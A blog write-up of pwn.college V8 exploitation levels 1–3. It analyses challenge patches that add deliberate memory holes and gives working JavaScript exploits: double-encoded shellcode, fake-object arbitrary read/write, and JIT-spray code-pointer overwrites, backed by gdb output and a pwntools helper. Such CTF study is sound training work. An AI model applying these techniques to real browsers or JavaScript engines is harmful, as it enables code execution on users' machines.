Skip to content

[PWN COLLEGE] - V8 Exploitation Part 1

Kaiser Ashworth
Published date:

Table of contents

Open Table of contents

Building V8

First of all, we need to setup our environment for building V8. Follow the instructions on the official V8 documentation to set up depot_tools and fetch the V8 source code. Or you can just run the following script:

#!/bin/bash

# 1. git clone
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

# 2. Prepare to build
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8
cd v8
./build/install-build-deps.sh
sudo apt-get install ninja-build

# optional: If you want to build to a specific version, put in commit version
git checkout 6538a20aa097f9c05ead98eb88c71819aa1e65aa

gclient sync

# optional: If given a patch file from a ctf or similar, patch it with that file
# git apply <patchfile>

# 3.a. build using v8gen.py
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

# 3.b. build using gm.py
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

For convenience when change each levels, you can use this script to auto apply patch, git checkout to specific commit, build:

#!/bin/bash

VER=$1
PATCH_FILE=$2
NAME=${3:-$VER}

if [ -z "$VER" ]; then
    echo "Usage: $0 <commit_hash> <patch_file> [build_name]"
    exit 1
fi

# Change to V8 directory
cd ~/pwn_college/v8/v8/ || { echo "Failed to change directory"; exit 1; }

git reset --hard "$VER" || { echo "Failed to reset to commit $VER"; exit 1; }

gclient sync -D || { echo "Failed to sync dependencies"; exit 1; }

if [ -n "$PATCH_FILE" ]; then
    if [ -f "$PATCH_FILE" ]; then
        git apply "$PATCH_FILE" || { echo "Failed to apply patch $PATCH_FILE"; exit 1; }
    else
        echo "Patch file $PATCH_FILE not found"
        exit 1
    fi
fi

# Change build configuration as needed
gn gen out/x64_$NAME.release --args='is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true dcheck_always_on = false use_goma = false v8_code_pointer_sandboxing = false' || { echo "Failed to generate build configuration"; exit 1; }

ninja -C out/x64_$NAME.release d8 || { echo "Build failed"; exit 1; }

echo "Build completed successfully"

Level 1

Patch Analysis

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
 #include "src/objects/prototype.h"
 #include "src/objects/smi.h"

+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
 namespace v8 {
 namespace internal {

@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }

+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+
 namespace {

 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayRun)                                                                \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "run",
+                          Builtin::kArrayRun, 0, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",

From the patch, we can see that a new builtin function ArrayRun is added to the V8 engine. From the implementation, it expects a JavaScript array of double numbers, maps a memory region with read, write, and execute permissions, copies the double values from the array into this memory region, and then executes the code at that memory location.

Their are some important checks in the code:

  // Check that receiver is a JSArray with only simple elements.
  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
      factory->NewStringFromAsciiChecked("Nope")));
  }

This check ensures that the receiver is indeed a JavaScript array and that it only contains simple elements.

JSArray and Simple Receiver Elements

In V8, a JSArray is the internal representation of a real JavaScript Array. The HasOnlySimpleReceiverElements(...) check is a fast-path safety guard: it ensures element access behaves like a plain array with no special/observable lookup behavior. Concretely, it means:

  • No indexed accessors/interceptors on the array’s elements: the array does not have custom element access semantics (e.g., no getters/setters or interceptors that would run code when reading/writing arr[i]).

  • No indexed elements on the prototype chain: none of the prototypes contain indexed elements, so arr[i] cannot fall back to prototypes and change behavior.

This check does not by itself guarantee the array is packed/contiguous (no holes) or non-sparse, and it has nothing to do with Map/Set. Those properties are typically enforced by separate checks (e.g., inspecting the array’s ElementsKind such as PACKED_DOUBLE_ELEMENTS).

The seccond check is:

  ElementsKind kind = array->GetElementsKind();

  if (kind != PACKED_DOUBLE_ELEMENTS) {
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
      factory->NewStringFromAsciiChecked("Need array of double numbers")));
  }

This check ensures that the array is of type PACKED_DOUBLE_ELEMENTS, meaning it is a packed array containing only double-precision floating-point numbers.

ElementsKind

PACKED_DOUBLE_ELEMENTS does not mean every element was originally written as a floating-point literal. It means the array’s elements kind uses the unboxed double representation (a FixedDoubleArray) for fast numeric access.

In this mode, the array is expected to contain only numeric values. If you store an integer (a SMI in V8 terms), V8 can still keep it, but it will be represented as a double in the backing store (i.e., SMIs are not kept as tagged SMIs once the array is in a double-elements kind).

img

Also, the diagram should be read as a transition graph (how V8 widens/generalizes an array’s representation), not a strict “subset” relationship between element kinds:

  • PACKED_SMI_ELEMENTS → upgrades to PACKED_DOUBLE_ELEMENTS when a non-integer number appears”.

  • PACKED_DOUBLE_ELEMENTS → upgrades to PACKED_ELEMENTS (tagged) when a non-number/object appears”.

  • “Introducing holes (e.g., deleting an index or creating sparse indices) typically moves a PACKED_* kind to the corresponding HOLEY_* kind”.

Exploit

function itof(bigIntArray) {
    const big64 = new BigInt64Array(bigIntArray);
    const doubles = new Float64Array(big64.buffer);
    return Array.from(doubles);
}

let shellcode = [
    16323657644055069034n,
    16611888020206780778n,
    2608851925472796776n,
    7307011539825918209n,
    5210783956162667311n,
    7308335460934430648n,
    6357792841636794478n,
    14757395258967590159n
];

let shellcode_double = itof(shellcode);
//%DebugPrint(shellcode_double);
shellcode_double.run();

Level 2

Patch Analysis

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..6b31fe2c371 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {

 }  // namespace

+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+	Isolate *isolate = info.GetIsolate();
+	if (info.Length() != 1) {
+		isolate->ThrowError("Need exactly one argument");
+		return;
+	}
+	internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+	if (!IsNumber(*arg)) {
+		isolate->ThrowError("Argument should be a number");
+		return;
+	}
+	internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+	internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+	uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+	uint64_t full_addr = base_addr + (uint64_t)addr;
+	uint32_t result = *(uint32_t *)full_addr;
+	info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+	Isolate *isolate = info.GetIsolate();
+	if (info.Length() != 2) {
+		isolate->ThrowError("Need exactly 2 arguments");
+		return;
+	}
+	internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+	internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+	if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+		isolate->ThrowError("Arguments should be numbers");
+		return;
+	}
+	internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+	internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+	uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+	uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+	uint64_t full_addr = base_addr + (uint64_t)addr;
+	*(uint32_t *)full_addr = value;
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(

 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "ArbRead32",
+                       FunctionTemplate::New(isolate, ArbRead32));
+  global_template->Set(isolate, "ArbWrite32",
+                       FunctionTemplate::New(isolate, ArbWrite32));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));

As we can see, three new functions are added to the d8 shell: GetAddressOf, ArbRead32, and ArbWrite32. Pretty easy to guess what they do from their names.

We just have one thing to note here is that if you look at the implementation of ArbRead32 function, you will notice that, the address it return to us is not a real virtual address, but an offset. This is because V8 uses Pointer Compression to reduce memory usage. Instead of using full 64-bit pointers, it uses 32-bit offsets relative to a base address (the “cage base”). This saves memory but requires calculating the actual address by adding the cage base to the offset.

Exploit

The technique I use here is JIT Spraying, I’ll explain it in detail in the next level (because I deleted the d8 binary after finishing level 2 :D ) or you can read about it here

const logInfo = (m) => console.log(`[*] ${m}`);
const logOK   = (m) => console.log(`[+] ${m}`);
const logErr  = (m) => console.log(`[-] ${m}`);

// execve("catflag", 0, 0);
const shell = () => {return [1.9995716422075807e-246,
    1.9710255944286777e-246,
    1.97118242283721e-246,
    1.971136949489835e-246,
    1.9711826272869888e-246,
    1.9711829003383248e-246,
    -9.254983612527998e+61];}

// %PrepareFunctionForOptimization(shell);
// shell();
// %OptimizeFunctionOnNextCall(shell);
// shell();
// %DebugPrint(shell);

for(let i = 0; i< 10000; i++) shell();
// %DebugPrint(shell);

let shell_addr = GetAddressOf(shell);
logOK("shell @ " + shell_addr);

let code_ptr = ArbRead32(shell_addr + 0xc);
logOK("code_ptr @ " + code_ptr);

let rwx_addr = ArbRead32(code_ptr - 1 + 0x14);
logOK("rwx_addr @ "+ rwx_addr);

let shellcode_start = rwx_addr +  0x69 + 2;
logINfo("shellcode_start @ " + shellcode_start);
ArbWrite32(code_ptr - 1 + 0x14,shellcode_start);

shell();

Level 3

Patch Analysis

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..0299ed26802 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {

 }  // namespace

+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+	v8::Isolate *isolate = info.GetIsolate();
+	Local<v8::Context> context = isolate->GetCurrentContext();
+
+	if (info.Length() != 1) {
+		isolate->ThrowError("Need exactly one argument");
+		return;
+	}
+
+	Local<v8::Uint32> arg;
+	if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+		isolate->ThrowError("Argument must be a number");
+		return;
+	}
+
+	uint32_t addr = arg->Value();
+
+	internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+	internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+	uint64_t full_addr = base_addr + (uint64_t)addr;
+
+	internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+	internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+	internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+	info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));

We have two new functions here: GetAddressOf (same as level 2) and GetFakeObject. The GetFakeObject function takes an address (offset) as input, calculates the full virtual address by adding the cage base, and then constructs a V8 HeapObject from that address. It then returns a JavaScript object that represents this heap object.

Exploit

Arbitrary Read/Write Primitive

Next we want an arbitrary read/write primitive — a way to make JavaScript read or write memory addresses we choose (on the V8 heap).

To understand why this works, you need one V8 concept: Maps / HiddenClasses. In V8, the first field of a heap object points to its HiddenClass (Map). That “shape” tells V8 what the object is and how to interpret the bytes that follow — where its properties live, how elements are stored, etc. So when you do something like a[0], V8 first checks the object’s HiddenClass to know how to fetch element 0 correctly.

Arrays are especially interesting because V8 stores indexed elements in a separate elements store (a backing array), rather than inline with the object itself. And V8 even tracks multiple “elements kinds” (e.g., packed vs holey, SMIs vs doubles vs tagged values), which affects how it interprets the backing store.

So why is this important? Well, our next step is to craft a fake object in-memory, then use GetFakeObject() to actually ‘use’ that object. We can write arbitrary content in memory with an array of floats, and we know where that content is with GetAddressOf().

The object we’re going to fake is an array of floats. If we trick JavaScript into treating our crafted memory as an ‘array of floats’ object, we can change the ‘elements’ pointer (which points to the actual contents of the array) to anything we want, and now we have an arbitrary read/write on the JS heap. The code below is my setup and implementation for it (please debug it to understand how it works):

let float_arr = [1.1, 2.2, 3.3];
// First we construct a fake map in memory
// Remember that the first 4 WORDS (0x10 bytes || WORDS = 4 bytes in this case we
// work with 32-bits address) of one object look like this:
// map | properties | elements | length
let fake_map = [itof(0x123456789abcdefn), 1.1, 1.1, 1.1];
let fake_map_addr = GetAddressOf(fake_map);
// Address of the content of the fake map
// So that we can use GetFakeObject on it to create a fake object
let element_addr = fake_map_addr - 0x20;
// Write a fake map pointer at the start of our float array
fake_map[0] = itof(0x1cb8a5n);

function arbRead(addr) {
    addr = BigInt(addr);

    if (addr % 2n == 0n) {
        addr += 1n;
    }

    fake_map[1] = itof(0x600000000n + (addr - 8n));
    let fake_obj = GetFakeObject(element_addr);
    return ftoi(fake_obj[0]);
}

function arbWrite(addr, val) {
    addr = BigInt(addr);
    val  = BigInt(val);

    if (addr % 2n == 0n) {
        addr += 1n;
    }

    fake_map[1] = itof(0x600000000n + (addr - 8n));
    let fake_obj = GetFakeObject(element_addr);
    fake_obj[0] = itof(val);
}

JIT-Spraying

To get code execution, we can leverage the JIT compiler to generate RWX memory for us. The idea is to create a function that enough “hot” to trigger optimization by the JIT compiler. Once optimized, we can inspect the function’s memory layout to find the RWX memory region where the JIT-compiled code resides. We can then overwrite this region with our shellcode and execute it. Let’s see how we can do this:

const shell = () => {
    return [ 2261634.5098039214, 156842099844.51764 ];
};

for (let i=0; i<10000; i++) {
    shell();
};

%DebugPrint(shell);
%SystemBreak();

Debug in gdb until the SystemBreak and inspect the shell function:

pwndbg> job 0x392600043a55
0x392600043a55: [Function]
 - map: 0x3926001c0a9d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3926001c0951 <JSFunction (sfi = 0x392600141889)>
 - elements: 0x392600000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x3926001d3b39 <SharedFunctionInfo shellcode>
 - name: 0x3926001d3791 <String[9]: #shellcode>
 - formal_parameter_count: 0
 - kind: ArrowFunction
 - context: 0x3926001d3cd9 <ScriptContext[12]>
 - code: 0x392600240241 <Code MAGLEV>
 - source code: () => {
    return [ 2261634.5098039214, 156842099844.51764 ];
}
 - properties: 0x392600000725 <FixedArray[0]>
 - feedback vector: 0x3926001d3f99: [FeedbackVector] in OldSpace
 - invocation count: 9992
 - tiering state: TieringState::kNone
pwndbg> x/10xg 0x392600240241-1+0x14
0x392600240254: 0x00005af6d7c80800      0x00000124800000ab
0x392600240264: 0x0000000000000028      0x00000028ffffffff
0x392600240274: 0x0000002800000028      0x000005bdffff0001
0x392600240284: 0x0024033900000058      0x002403fd00000002
0x392600240294: 0x0000001a0000016c      0x002403f500000002
pwndbg> vmmap 0x00005af6d7c80800
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
               Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
      0x392600340000     0x392700000000 ---p ffcc0000       0 [anon_392600340]
►     0x5af6d7c80000     0x5af6f7c80000 rwxp 20000000       0 [anon_5af6d7c80] +0x800
      0x5af6fa156000     0x5af6fb2a9000 r--p  1153000       0 d8

From the above, we can see that the RWX memory region starts at 0x5af6d7c80000. Let’s examine that address to find our shellcode:

pwndbg> x/10i 0x00005af6d7c80800
   0x5af6d7c80800:      mov    ebx,DWORD PTR [rcx-0xc]
   0x5af6d7c80803:      add    rbx,r14
   0x5af6d7c80806:      test   BYTE PTR [rbx+0x1e],0x20
   0x5af6d7c8080a:      jne    0x5af6fc5cae00 <Builtins_CompileLazyDeoptimizedCode>
   0x5af6d7c80810:      movabs r9,0x3926001d3f99
   0x5af6d7c8081a:      test   BYTE PTR [r9+0xd],0x2e
   0x5af6d7c8081f:      jne    0x5af6fc5ca8c0 <Builtins_MaglevOptimizeCodeOrTailCallOptimizedCodeSlot>
   0x5af6d7c80825:      push   rbp
   0x5af6d7c80826:      mov    rbp,rsp
   0x5af6d7c80829:      push   rsi
   0x5af6d7c8082a:      push   rdi
   0x5af6d7c8082b:      push   rax
   0x5af6d7c8082c:      cmp    rsp,QWORD PTR [r13-0x60]
   0x5af6d7c80830:      jae    0x5af6d7c8083c
   0x5af6d7c80832:      mov    eax,0x1b0
   0x5af6d7c80837:      call   0x5af6fc5ca840 <Builtins_MaglevFunctionEntryStackCheck_WithoutNewTarget>
   0x5af6d7c8083c:      mov    rdi,QWORD PTR [r13+0x48]
   0x5af6d7c80840:      lea    r10,[rdi+0x28]
   0x5af6d7c80844:      cmp    r10,QWORD PTR [r13+0x50]
   0x5af6d7c80848:      jae    0x5af6d7c808e8
   0x5af6d7c8084e:      mov    QWORD PTR [r13+0x48],r10
   0x5af6d7c80852:      add    rdi,0x1
   0x5af6d7c80856:      mov    rax,rdi
   0x5af6d7c80859:      mov    ecx,0x8a9
   0x5af6d7c8085e:      mov    DWORD PTR [rdi-0x1],ecx
   0x5af6d7c80861:      mov    ecx,0x4
   0x5af6d7c80866:      mov    DWORD PTR [rdi+0x3],ecx
   0x5af6d7c80869:      movabs r10,0x4141414141414141
   0x5af6d7c80873:      vmovq  xmm0,r10
   0x5af6d7c80878:      vmovsd QWORD PTR [rdi+0x7],xmm0

You can see that, the value 0x4141414141414141 (from our shellcode) is being stored at r10, so at that instruction address 0x5af6d7c80869, if we add 2, we get the start of our shellcode: 0x5af6d7c8086b.

pwndbg> x/10xg 0x5af6d7c80869+2
0x5af6d7c8086b: 0x4141414141414141      0x11fbc5c26ef9c1c4
0x5af6d7c8087b: 0x42424242ba490747      0x6ef9c1c442424242
0x5af6d7c8088b: 0x8d480f4711fbc5c2      0xfa8b48c78b481850
0x5af6d7c8089b: 0xff5f89001cb8a5bb      0x89000007259e8d49
0x5af6d7c808ab: 0x0b4a89074289035a      0x4917408bf0458b48

We notice that the value have some distance between them, so that we need to create a shellcode that jump to the next 8 bytes of shellcode.

pwndbg> x/10xg 0x5af6d7c80869+2 + 6
0x5af6d7c80871: 0xc5c26ef9c1c44141      0x4242ba49074711fb
0x5af6d7c80881: 0xc1c4424242424242      0x0f4711fbc5c26ef9
0x5af6d7c80891: 0x48c78b4818508d48      0x89001cb8a5bbfa8b
0x5af6d7c808a1: 0x0007259e8d49ff5f      0x89074289035a8900
0x5af6d7c808b1: 0x408bf0458b480b4a      0x04076883c6034917
pwndbg> x/10xg 0x5af6d7c80869+2 + 6 + 14
0x5af6d7c8087f: 0x4242424242424242      0x11fbc5c26ef9c1c4
0x5af6d7c8088f: 0x8b4818508d480f47      0x1cb8a5bbfa8b48c7
0x5af6d7c8089f: 0x259e8d49ff5f8900      0x4289035a89000007
0x5af6d7c808af: 0xf0458b480b4a8907      0x6883c6034917408b
0x5af6d7c808bf: 0x000000348c0f0407      0x48e8458b4cc28b48

We see that the distance between each 8 bytes of shellcode is 14 (0xe), and we have 6 bytes for shellcode and 2 bytes for the jump instruction. You can use this python script to generate your own shellcode:

from pwn import *

context.arch = "amd64"
jmp = b'\xeb\x0c'

#print(disasm(jmp))

def print_double(shellcode):
    if len(shellcode) <= 6:
        chain = shellcode.ljust(6,b'\x90')
        chain += jmp
        print(f"itof({hex(u64(chain))}n);")
    else:
        print("max 6 bytes only")
        exit()

That python will check if your shellcode is less than 6 bytes, then it will pad it with NOPs and add the jump instruction at the end, then print it in the format that we can use in our JS exploit.

Full Exploit

Finally, we can put everything together:

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

const logInfo = (m) => console.log(`[*] ${m}`);
const logOK   = (m) => console.log(`[+] ${m}`);
const logErr  = (m) => console.log(`[-] ${m}`);

function toHex(i) {
    return "0x" + i.toString(16).padStart(8, "0");
}

function assert(c, m="assert") {
  if (c) return;
  let at = "";
  try { at = ((new Error()).stack || "").split("\n")[2].trim(); } catch {}
  const e = new Error(`[ASSERT] ${m}` + (at ? `\n  at ${at}` : ""));
  if (Error.captureStackTrace) Error.captureStackTrace(e, assert);
  throw e;
}

let float_arr = [1.1, 2.2, 3.3];
let fake_map = [itof(0x123456789abcdefn), 1.1, 1.1, 1.1];
let fake_map_addr = GetAddressOf(fake_map);
let element_addr = fake_map_addr - 0x20;
fake_map[0] = itof(0x1cb8a5n);

function arbRead(addr) {
    addr = BigInt(addr);
    if (addr % 2n == 0n) addr += 1n;
    fake_map[1] = itof(0x600000000n + (addr - 8n));
    let fake_obj = GetFakeObject(element_addr);
    return ftoi(fake_obj[0]);
}

function arbWrite(addr, val) {
    addr = BigInt(addr);
    val  = BigInt(val);
    if (addr % 2n == 0n) addr += 1n;
    fake_map[1] = itof(0x600000000n + (addr - 8n));
    let fake_obj = GetFakeObject(element_addr);
    fake_obj[0] = itof(val);
}

// execve("catflag", NULL, NULL)
const shellcode = () => {
    return [
        1.9995716422075807e-246,
        1.9710255944286777e-246,
        1.97118242283721e-246,
        1.971136949489835e-246,
        1.9711826272869888e-246,
        1.9711829003383248e-246,
        -9.254983612527998e+61,
    ];
};

for(let i = 0; i< 10000; i++) shellcode();

let shellcode_addr = GetAddressOf(shellcode);
logOK("Shellcode addr: " + toHex(shellcode_addr));

let code_ptr = arbRead(shellcode_addr + 0xc) & 0xffffffffn;
logOK("code ptr: " + toHex(code_ptr));

let rwx_addr = arbRead(code_ptr + 0x14n);
logOK("rwx addr: " + toHex(rwx_addr));

let shellcode_start = rwx_addr + 0x69n + 2n;
logInfo("shellcode addr: " + toHex(shellcode_start));

arbWrite(code_ptr + 0x14n, shellcode_start);

shellcode();
// pwn.college{oF_cxWWy2Mn81r-l_Ad8Z7fYoM_.dZTO3UDL1MTNzYzW}

Further Reading

These are some resources that I found helpful while working on these challenge:

Next up: Part 2 — Levels 4–6 covers setLength OOB, offByOne + fast-properties abuse, and functionMap type confusion.

Previous
[PWN COLLEGE] - V8 Exploitation Part 2
Next
Heap Exploitation: Getting Started